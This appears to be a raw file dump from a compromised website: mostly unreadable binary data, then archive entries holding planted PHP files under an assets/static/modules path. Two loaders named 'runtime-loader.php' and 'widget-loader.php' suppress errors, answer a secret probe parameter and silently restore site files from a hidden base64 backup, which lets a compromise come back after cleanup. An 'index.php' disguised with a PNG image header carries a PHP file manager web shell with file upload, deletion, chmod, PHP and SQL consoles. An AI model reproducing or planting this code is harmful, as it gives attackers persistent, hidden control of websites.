{<nZ)KejL+5:е0sX@>VsR YKb(@MN?99	(܎lfVOڀPOEl'+q bi#"C?4Y";Ih .d< C6 M'*jݧ`ȠA)i2F0{wS~G)`Kx,dbBɉ*_@TAT[&KMпy|a~ivL@#**TNji?W`ِ Tߏطz)
=ˈoE+'cA89ךO\%"UOEɇxsTUjU;g,HФ>ĀXEhN7M~}l3&rt2ce` DI7p'(LDWNfq5[Þ#-GTcP *PYB	G+Ի[c6IaFX% MS0Db=ׯѿ0z,+k43#|YGT{Ib$1ݟ  f4?|f[<hs8B
WD*7	9u8 AE$&A)8$}hnщM胀"kiRx$mf	EL>^j 03UXAPl8'P*D@u5``(2hfVaZQ(="mТБĨsa߅-E]qsaׅÎ.p┋#.N$\8po(Dtp:Qc|(t
2᛿<
N}H #82P*WHǽn{:yd88h&ӂĤ
>h!h\IgS>r5I$HI d0B	p(x
ŁщѪ*ҠV,)5<F6KrTZjZ̓ˡ9;7Xs }
:8>I: 4V#Sab(-4ʌ0gV4<eUqG꽞,F.WNP'2A
zx((9T-М"X7+7b&4G}=1
KZÎ,9"JWXoN~
c,ɷ)B'0vdD{j% SqǛw`j
?d̿3s!bj_5/[.{jRh~W1G9ƢD]<cg3۳0e_I/=,~RlGBɡȡ X.jntC#RFR¬RȠą f8V@!Ya;!6.(5x)Kn PRS.C'1GxcpxE@wx
1,tFƀYS}G%&bU	*-߁AJ=~5DrFxU(G7G$ֺzF8Ak=^ߓ{#B9}<'نerX#}_!Q..eaT|:x8<oˑo2aMԙy&T!mBb`i넩N5&_5V	s&S5cMgPBy
_/D-;٫.ɍ>5j8I|#f9g˽9Q"I	x7 7TE˯u,SbOK,$%JBã{(	-V
=W,c%z'{q+(w 젵'AP5J!FzH	 xB*7עD'z=l&&':8+ƙ0I@j ߧnI,5`!%ŬJPI`!GP<$;j+Ld5 zM>/!.}0io*		}90XQ]fK5E@"& /drsJ9ElTzaK"X{	s殡Ĥ56&(>hJU'V63>	WK2WR]b@	xZJClX8G=̰Yh\I+#^9cwP͆o i"P!v,vZn<
!i<n$I'?1B𑑘'H$0v5ֶ&U%P}!4<̤PI&Cd&,՛І>ʩ'	APXl4GUjůpg̫Joyܣke>y+>TF]f<n'^14d'v6{0HPlU]/ou{?L=s
|'"Ƭ1+	#J0(_OIY,1G%p 5ZF}$"FP=JKG`8PTLH)
9 YF=&d4=5"1OXY9!~@ {&0T51TIfŏ7C^(k q4
MP+fQ^S+ЊJmo!NzCo-&U$ri!X*TAkQ6%477++0+7- 5J-n"Zgp͞als>X9~BGz¡>c+72[G,HZog@@(Р:^#B3<~'ԂTQ*tpº e*3(w}*)'%J&AIgpSOC!%`@$C(Cuz$!vJ^2J 'yA]Qءw(CU(WQ SQ@cE"k%E64" A۴1S8!(D9CBj=
a`]H⡔P
R	P̸@J̘!
#$j#-ʌC2*ЂV5OQ.MX,b媶&6F?JUЃ2UT!V5rRqV1 <wzSX̎1;IjD q:V=HYieMpX߬jRScSShA	 txÿ=E(\&AF""#Qo<@2 %SktAhf$/Z5<g
Bbf dp$K62_*ѳ::D9|@U4lwPug?ѩ,|qWqjxAHӥS%iq)=(UT^zSJilvz 1y&nNb4lZQ.)vVP\*jE2_PIciTvnn1%+XRyL[I2sU\b)I$84l.*ʳ),,Үd~N1;(RR,aZ"ߖdfR­$yjR^̳+TdENvV
;-Wd;<ߤS8lY2E+TglN2L@\"3ԬbZV˶%I*dR],;?YKؒ>@T(.VXvfehⲹ*;;!y:;;5ö9lU6
Ll6?9sb<Mcd,fAG<Ms))TG2U^1VjE|Zq~Ze8M&X,;>R1fKlnIKձL3+H,5r5BL3cVr9OT6\yyYlcA""I1<NZeEZF:ɐLEJ%`ב"2B*aԘXM,*'畩J0@VeӲdc\:9KE&gGP(L1P9Y17VVh
2"NceYHlmI3E6~D-/NY~aS!c2cL*UI$\Pe"|6H	3-@~fJr999,LNKd'+)d*O䫓SRvzz*SLh*l9
*-NKxc
cR˨TILN';*a ]as5L*d\^2ȕIyZ?@(0
x\/]ɋx5Ցf3qb9Uδ
̡9,QMiFUE8=ߡ7
2s$N3*4U"dv{82#MePeI9c93ivr{-@-fr{@UPNsHpمbAJOȍ9vmslOjW1YX'h
|V0q5#gx$\leZA"N9+@ "A!LeiHjΒi(`$X`1'"IJ3E@I AV]fEAȩSeC!`UU0M*MfbSu|F..b0I"&;"sTGڐebI*f)1oϩL7sTB$R[5&WbeQX!ԗ͊rUĢex$S.'άye]UTn3ԤF)5lJgڴBYNj⦩,"rYEv*-U^%<FLU	8ZiXM%\aWdfS2VzC e8(B(bљt"S31),C,rM"NcdZB(JTjU3(E.!&醂8.e<j0%Qjcl&`fAȖ2
n qYdj4E\Un&[-ٕj!9vyK)eEv>S69e略Ҋr14zT&)P끨*L9&@(3%űTkEϮdPMZVf$ʨPZihkh4QƗt착EFFDT,jPtTjcX]4b=6aiRؒ[Tl٬zMY5+f'18CRSrPM%bNn0ʔT*myt:7.Cjʢɋ+yԼ2:/+TkJ)KS0d1y-CeLJU(<HeR*
\F3Ҙd[a5*ebpJJv/g9IV43)dql+bpr+XWpH٤J;^(sX)tg2Kʩ0H\:%#it3bP$B{V,)IIyfX)qF>_\iUيљ7FYV0aRr5CedgE]UI(´"%ɩSL~C7Y,IIFy^n+0X6ΐMiE34=Ra%b1&&e iΥ\{krHLYj%$fy=./Odg(yB07`HIex2?ǚƣqrdjF.K*b3X9EZC-dS&m#;R,WpM&/e
dG~Q-$ӜLN-"9
YV'KWfHbsl8rQ5NcE/׉hre!3W,1492gjaTVd+Ĉ3ibqIJiFP-1nf0βizHȬ
L+TJ4f%[f*Jr
D*$j<LZ(2d"eHO/ӥ+f!K*8Baؚg*@aHSMrIRɡ)Bk.-f199XU̵,K,QfTZ(yTV/ i,0ˏU[c+)9EJ:YQa"QP*+<zQn3@b+-J:y6γ3iXCOb3"u8H$^!wRrrTTQ2-FcL,N)Rf5r)8ZzLE3+2%|UJu6e'QrY;%c*r
	8K)1NNLSjbT,er4cDbr҅j""(/3F餑
Xu,Fٔ',l$L*hR:oSbqYT/%S\!]^aJJnHɵyQUZl"!:qTk\J/V$zNY==ܞPe|,M]&Kj=.58[Zjl(SrM=+tYqJ'dlٸ
eE̥Fҩc䒥ENYaf3
KP3I"Ue("ڋ2^ac	I|/e$HHTjze,Ҋt>;c̔8	!2Hqw%d0d9~R¶eu4vf.\1:9'P(Y
\e\0K8|T$yB!,67PfH3
/-h|KSTK^LHzQ.f%ʅy
JV,-7!3WCaf˥fiT)WcM!|M\h*HIO/38aa2L)PQzT!w(
iBqHE
)e85ZN=5OˤU+Ej^f>%,F"KɥrrLW\a)\[T0d\P	Vr,67dHyY\yJe3je
W(N2m<Nh59Ŷ|A~k+戀S$T5Ӝ϶Ś\zFeV$t-*RH̏+f9tGNr9MIh<*[e`|eT++X36£WqMYMΕgyNMT\^g#dJ,<lQ\SzvNǖ)姐i>BciJ6[aq4R3-6uqrȒY$] [y::$I)vhB&*#	+
l5DSk-_[ȿm!Bk-_[ȿm!=[P(p`dمda~&@"Z"<SHpr6P;/Sj:g3͑qpNgX"I$U!ըsĥkD<Ϡ%Iqqt*5\K"9
Qd2Ɗ,Ӄ5$ө4 ;#M)V;
`aGrCey'9l(A*R3̲4@	Q
;C5ȘY^-buE@u*gIx`,2r`Ǐas
",VV]z%=o%4;r
ug2rs*::Ie9%[](.eEf5V28B@(K*ryjzɌKKe"!V"scΘUNZ:#FT%+eD@OOiiBСTH4J*| 
E9iFa923veEJ"&!^הef+J^Lmbz\%CgP*%E11rJJvS+WӲ2:^Ρ5T.)UUBE2T|[\bv:4eB3TDF3j$6Y+]IuXrvVZlBTPO oDFWl*MʹHX
2HJ,CR&b8&mOOps$Z.=.cؤ!ܠઘ\ T+L[ZPeKfp*,e%gb$u/7ejfMTadљŖJ̤1ن'/	n/Yi8_V,H&;XP;Y,ǚi6tLa9vZQȊd4&/H29-CP(-ITS$+3Y\+)r-n˱RD4*eHtu.%,e]Cİ5dRy\īc"~*tS4<DhM2b8-v-3S'ز4vʒsHQaEDR+<1ɬKgrTV2V"gUd9㲬rgMC234Br[HUHȬ81ML'YWJ-Zb3+WdbLTy[ŧX&yjVg-8u9.YDʹ*Yo]@YB50丌rJUH&f&##ՉDeٔXqv%`0Z3U6&3fXx՞G93-L41EN:8X!+!(CW\gd:]2| S,[RibKi8,+׮TDbd!sq5Y-)ebPN3ɎbY@N+tVGOI	9$-Lz=JѥJqje1]2gW6!UPYV(|^
ŘSl)3s3Lmؒ"͎Kʉ冲4qNJS.IҒi2V1flr'fr+\.p+srb3+JIog`,*!c!r-(3)<^".ar`
?\/q4AxA(&`1zb0`K%xBi=N'$ڢxUHԈAU=qځ f
@裿hH0U$TH'@h @pxH"פ65mZAԣaFt-:իQMX,L8&ocv$V&)` "vIuA+ޏT+@ h!_тjBᇍ V4用^b j	7{O\5YWO(0r$Xfr8`T"7p^ĈH"<>|bK42a-*CXzˇBQؑ<>(vц<}0<BlQ>0Qˇ@47'MaP5$>SY?Cg1؎XgUW"FE6hW~yY!#ArA#7ʚbP5a%'ʥ5PRc]jDO7 {_t7eD(U0 E;x?i5C+T3a*Ѓŕ+=U2`%V'EŪ;UxX#k5lUAik3 9=1p̯/~qvKs0o@sW"$g`o`	fW{6"TFMp|)C|A/އ㗂`W5J[$rp\Saj׃Ef֘\b=1vcR,@~[Vbյ}oeL%!p'8;VWޣ.%B3լ2c@hMvi후W}|L<6C"-(ޘ>jz@Trm@{Ʈ`z\"]5>?noxǪ7jWҀ^#hB8X࿠Q@Q$@$rQ G/L4@
AA@vmm@bbUA1TʤR}ay-UM`)F#hjϝl`wA.ŁAa0`Ur8D"H)tPȀy{D*FH7Cjt^7^2؇1p7B7)of2D$:
sV9
<RCQ@!B8@CJNvޑN^ϥ>e7.'b\( 1TRd3x 3$Y䀄$R<!׋U'43fR{9p(z< AFbU(Rc՚aDE$u?$P萘`MW^UʂJ`bMك<0aPq0|
Mc+!`;4k/e*0hWzY&U;4|!kFՊ[.KZ<cgUiP=ڐrÄcMʬYŘ+>@I&k#!тAs)@D0ah$V!GbW>TV! *Y%M\!1.IUi4_+0iMbph$J!Hh#8lHphBˠ"T0~ُ#ǶbݔĤhq96nvt/.8>R4;rVmI\⼺}r'O5o7|5'?<5hk;'wzX+ժmzD6yb:k9}Aɱ H&xB-@ U)\l5[Q*GjHNDu?*Vxԣzy(}H@lZ"+Aua1K1:}yX{UH	1AjkFrh.G!o81Z$Kx'cE=iwpd,G{0[BWoѸ:X̑1߲ۥ8Р^i(/qV59F,	JE8BA^j$TTxNaJSb?%/[6XÅ?KOD֬4U;3mR2$oRc
a͌4=ZGpƀz7ePB $a}h,ieRZLj	8!<[uQIRF'皍T|6`~t:+V>eB(aw\@\'N Z}FƆ$wWU%zĠr%{@$f]LxWT]
{|0ߌ,!\s7bd?Vjub1}?0&T^RA@	ð V׆ZH0j ڠ3ZW-}vlxY<yvLQ!:0̨7K8&DˌݲD~ҼF̍x=]UU}e
?@P3pTM[r( zoC"=*#U|e*rL~+W=
VApe774:4ҿK$vÚhR"*2H O$oktrȨ4$N	UPJ*{V3KdV1YUcN@z&zذ§FI_/N53U]4-tڧe!_J̐p~c!
A4<oKQ;.#<g$r9hh?:%jFmڨHѨaR_W&_V8l?{L;@}}{yw{^AR+߾wu|4Ro|6r!M$h6Ͼh([<
9Ai3 ۂàՖz[fZB`>ZCoo&QV
`0 -@#jb%Q40l+^&1p1	}@q;Z
<qŒN
sM@{l_
<*,xRfQz#rsAA`
MG=;Ъ;"Zqjmlepl@FQ$H3ڬp6hmY¬FG@vt!CO(LY9
n0*%9ro^K(XzG#]KnYSϵ~dL۸	סĪ[d(PHEOLM)KB} 'a?}*)B{фT"|6x3[o _"0!ӇOA
2 9@T/cE3XFB(h^UN:pW|50}8r&dF^hkW Ѭ{Z3H ZVݔ="Q*
La$FBN{YeC?#ZR/jh\>OXO"MN6vgLˆC4ev48y^XXAl%!pp԰;<H1:%PoȫG[70ƫlTSIcB<oZ6{;>1@W\)$BPP%: 2xFF{iU2V͇Dl-Y8㍫~	"n|>]eBxX)N5ëZ->x^FAp3ap
#0	)0,0PFe`|jT)DsЍdATstuƨ[}-~(akDZ<,wRfZ߫iT,9PUH":@R,I0<>TUhyy9۾s林}у?UhhQiĬ׹կjK0<	 c 8x=eQ
"у5~Hn[W).F$>"pc;ǧ=Dh,:J=Ry!!=q	CCFlHZF]vǆw6!|Ɓ|iC!j.數(J}1Ǟ$*,WNQ:"~"?tdA	ۇ4wmpTΖ}O'_zPG?C`բ_zA㉽{`QARK ?Pkf@` *XU1ë0"c` -n%`|w|iʑ)wC჎>tV	bGA3"Aj Aˣd@0`K^L/Z:0%O@LJO@')	o-G=SB&CL0@e$(>&;yp*4C4$htt[n4H6cpYBf-4.iq74FT)H>R{nTV,ю^%`T=?X0Gxg.Fǐ'~ |}E)&QI\9"cSCH{4_XNUJB`n4jJ|IT*jU\It@;.ljxЪA@NwcXQ"`%&T.L@ ? J(~rja6dLhm e#;!i
T0`g-2{=FKq;0l8&gO~yez1lX#[0߸FQY;$V "Ȟ,<H!>T@QWU
D$V-~^}K$T%'u; ?wXmȱ}8FlB <x_-{/1Ov /D,3$4m0QySa$oy#q p˔%NHzOD!ȼ>fhH`( &1#"|(
c]0RaD0ChHA3aFذ`<ԣ5iy7}b
Dhd^b	}zҡ, 2h~Gq|d9gN  C	m*bt[e`z)с	3 Wbh̴ZmBb&FhxEG#B8iQt%1ȍhZ@[)ZY6NJ$&ư("!@$8u:lIt*,V$83މBieO
l8B}pA y>t#M<|RUWj5bCpR0"^g^4oD0傏txkZUHJѹ<FQهYek(xB1D2\%NQ1zOnE{cYVbCk,e (3JzҿKNUQR`%|g04D-1B8#Ց pcWO#aD׶4(+{N=Ǿ_ոSYƧ5!.pY3ɓq@mZH^rUa8(}FzZA|ق&23h"*]*ESUzW7zcw,=n\kDYVˊ^_$:lH<*
BM@c =ZMx294)McUۤc	홹jZF@c%v`* !{x\S佰T@0AG@k½I	_$wJ<$bđ	^P4
0d;uO0jᔈ E(-N7 #qY`B4z`$P+V0D , lC?kZM0AH=XsO5}R & Ql
aJ wA+Q`@-36F;!$H:D)f@H
x>mKPL
׃MP@7[Lwu x %v_/ D%2 2P[blf$7Z/F+O	A	Gz~8$GX-pUhHmf!:ֈDУ!$x`iN`	ύPoz"6wj A"Y=ϰȤj[@yRT_nHj$&oo*Q7jB')я>jhZ yh%r	E:*{P
 oyu7]qԦT*a{}(I`Pi~UU*J,^FW!PAbvM4UXy0{}Jd-xB
lPI\|`9n 4<#q2daR+̇^IMleX`MK$;$.>r6>ñz@j`1"NZBk<GtPEg)M*3"c^P^@9y4x˾xLz,DIGD!hxЅ[B҉^C#!ؤ@E5̿\>!X:Ŋ{!m_2{W@K:DPy1ȗ}g=Rj湪16Ch@}k2.pZB
EBg:	5.LPye'
uߣ#Xox+Ѕ{f~6I4	˖#m4l/2Lf#A6ǿ$H	 '
ti4CRofB79	'PPXZOU3w?֛fTb5\*@dD{kO={YXɐ*KJz5hk+4@5#RRu T5(U(P
Mf4e#T9]ثFWӓP3R {&N$6Γɟ[ Ӣý7>˃A莈g:P{V?Gb0kb Ϋ36crgٌ|ߨ	b
SZ8SAa2 ;hvθ;չ.l=^0{tD)hvs5Es{Ыͪ!p-8_yIUbih/N!1գANpy5)hn8B4`Q,J$AyT:w@vx⁔`D&c>;HAyx~ȍF%h=$%%N<*:
˜xd\	tG$`w43&}f
"n
+df/pԩcL}HQ?u^Up!AX#i1iH =Irwyj-X<	C`s@0 *Hڣ @(>.~,. aIpAv՗ xުz>vUjA#4GhP4eeD\ 6qဳiUȨI$6(C
}5Ye76`utHZ41>5V!9jƚwаK{x{OMj0 l( 8a𶣓fÈ '"=ɋAU;"CB|u-Ar'{GA{w7WDLV\A{^57 !\{M=ϮJm%?ZE3v5h8TSW%_!ŪA;;j4<PjAD c-x`T3~W Ju`r1ik/\3_5AfB/t
Lƍc.}Xzg@wb <9
>Nau{]F` lAw|2FW3^.?]W=ǈD0J{weRʗ@k	E"'qN:'nՊw	"1,\{fg-4pE`@hfhR"\ Gh DMU?[8QBPpb%,Q,
sFTf̈́<Ri/ 	 |U 2V^rHi6:MU'WT%eF31͈!үq+E#WfMU>c	VL
/$hfRIL8I@Lĕuj=q૪z"p56$PHp
Y̿ t!%" ƙ)XgfD1# XD>vu|:i_*MΘ!Yh:)!
Cr2<	n'x<oⲚ=*{5 ${!!BhJHhR&gY@l	b2kVe8'j@UFD(9,KPWV$4lbuk?L Ht2NiQxC˷^E* 5q|
)CIƷZ
qLѓ*Y	+Ag[@-͘ _\ЂDJ
֊
9
%+hhUaG	^_߰=lGn*&jyL_΁&d!|	 뫂ԀQ ƣ(FƆ.^T?怜A7\kZ`:ώ{)<\V϶j>PD2e(}~]W+7:L
#^
P|$ЀhH<Ttϗ9[(M}	5c(k)J	i>U|GߕGǠ.vi59QۥD_={UZDڀqV!`΃<tLX'| {.BAŮ7?>w~@nUva3M0Qʇ~?U	QUlCE!٫nI=@,y|QthC%yKYmjF5%fS^wu5c4Wb =udS)^""&{"IǠxAf=P+Bo+WSA5@@r|7Si'R"6ė}|!G{	=1G>BpϿ?63                                                                                                                                                                                                                                                                                                                                                                                                                                                            runtime-loader.php.tar                                                                              0000644                 00000005000 15243264725 0010776 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/runtime-loader.php                                        0000644                 00000001672 15243251150 0020423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      364262.tar                                                                                          0000644                 00001370000 15243264725 0006035 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       364262.zip                                                                                          0000644                 00000567245 15243251040 0006055 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     S]R!( 
   
    widget-loader.php.tarnu [        home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK     S]Z: @  @   index.php.tarnu [        home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243236737 0017372 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
